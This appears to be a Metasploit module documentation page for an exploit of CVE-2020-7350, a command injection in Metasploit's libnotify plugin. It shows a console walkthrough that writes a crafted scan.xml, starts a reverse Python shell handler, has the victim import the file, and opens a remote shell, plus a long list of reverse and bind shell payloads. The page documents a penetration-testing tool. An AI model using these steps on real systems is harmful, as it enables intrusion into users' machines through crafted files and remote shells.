Metasploit Libnotify Plugin Arbitrary Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/fileformat/metasploit_libnotify_cmd_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Metasploit Libnotify Plugin Arbitrary Command Execution
Module: exploit/unix/fileformat/metasploit_libnotify_cmd_injection
Source code: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
Disclosure date: 2020-03-04
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-7350
This module exploits a shell command injection vulnerability in the libnotify plugin. This vulnerability affects Metasploit versions 5.0.79 and earlier.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection
msf exploit(metasploit_libnotify_cmd_injection) > show targets
... a list of targets ...
msf exploit(metasploit_libnotify_cmd_injection) > set TARGET target-id
msf exploit(metasploit_libnotify_cmd_injection) > show options
... show and set options ...
msf exploit(metasploit_libnotify_cmd_injection) > exploit
Knowledge Base
Vulnerable Application
Metasploit Framework versions prior to 5.0.86 are vulnerable to a command
injection vulnerability in the default libnotify
plugin. The libnotify
plugin fails to properly parse the argument array to an executed operating
system command. If an attacker can convince a user running an affected version
of the Metasploit Framework with the libnotify
plugin loaded to import a
specially crafted data file with db_import
, they can execute a command within
the context of the user running Metasploit.
In order to trigger the vulnerable code path, the service reported must be
unique. This means that when the exploit file is loaded, it will not trigger the
vulnerability again unless the service is removed. The easiest way to remove the
service is to delete all services from the database using the services -d
command.
Verification Steps
Example steps in this format (is also in the PR):
- Install the application
- Start msfconsole
- Do:
use exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- Set options as appropriate
- Do:
exploit
- Start a payload handler using
exploit/multi/handler
- Transfer the file to the intended target and convince them to open it
Scenarios
Metasploit Framework v5.0.76
msf5 > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection
msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show options
Module options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME scan.xml no The file to write.
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > exploit
[*] Writing xml file: scan.xml
[+] scan.xml stored at /home/smcintyre/.msf4/local/scan.xml
msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.159.128:4444
msf5 exploit(multi/handler) > version
Framework: 5.0.76-dev-50cfb07cff
Console : 5.0.76-dev-50cfb07cff
msf5 exploit(multi/handler) > load libnotify
[*] Successfully loaded plugin: libnotify
msf5 exploit(multi/handler) > services -d
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
msf5 exploit(multi/handler) > db_import /home/smcintyre/.msf4/local/scan.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.8'
[*] Importing host 192.168.20.121
sh: line 1: State:: command not found
sh: line 2: Proto:: command not found
sh: -c: line 3: unexpected EOF while looking for matching `''
sh: -c: line 4: syntax error: unexpected end of file
[*] Successfully imported /home/smcintyre/.msf4/local/scan.xml
msf5 exploit(multi/handler) > [*] Command shell session 4 opened (192.168.159.128:4444 -> 192.168.159.128:35516) at 2020-04-16 14:54:39 -0400
msf5 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...
id
uid=1000(smcintyre) gid=1000(smcintyre) groups=1000(smcintyre),10(wheel),974(wireshark),975(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Go back to menu.
Msfconsole Usage
Here is how the unix/fileformat/metasploit_libnotify_cmd_injection exploit module looks in the msfconsole:
msf6 > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show info
Name: Metasploit Libnotify Plugin Arbitrary Command Execution
Module: exploit/unix/fileformat/metasploit_libnotify_cmd_injection
Platform: Unix
Arch: cmd
Privileged: No
License: GNU Public License v2.0
Rank: Excellent
Disclosed: 2020-03-04
Provided by:
pasta <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME scan.xml no The file to write.
Payload information:
Description:
This module exploits a shell command injection vulnerability in the
libnotify plugin. This vulnerability affects Metasploit versions
5.0.79 and earlier.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-7350
https://github.com/rapid7/metasploit-framework/issues/13026
Module Options
This is a complete list of options available in the unix/fileformat/metasploit_libnotify_cmd_injection exploit:
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show options
Module options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME scan.xml no The file to write.
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/fileformat/metasploit_libnotify_cmd_injection exploit:
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show advanced
Module advanced options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/fileformat/metasploit_libnotify_cmd_injection module can exploit:
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/fileformat/metasploit_libnotify_cmd_injection exploit:
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/fileformat/metasploit_libnotify_cmd_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13049 Merged Pull Request: Add fileformat exploit for libnotify plugin
References
See Also
Check also the following modules related to this module:
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- exploit/unix/fileformat/ghostscript_type_confusion
- exploit/unix/fileformat/imagemagick_delegate
- auxiliary/dos/http/metasploit_httphandler_dos
- exploit/multi/http/metasploit_static_secret_key_base
- exploit/multi/http/metasploit_webui_console_command_execution
- post/multi/escalate/metasploit_pcaplog
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/unix/webapp/fusionpbx_exec_cmd_exec
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/unix/webapp/opennetadmin_ping_cmd_injection
- exploit/unix/webapp/rconfig_install_cmd_exec
- exploit/unix/webapp/vicidial_manager_send_cmd_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/xymon_useradm_cmd_exec
- exploit/unix/dhcp/rhel_dhcp_client_command_injection
- exploit/unix/http/pfsense_graph_injection_exec
Authors
- pasta <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.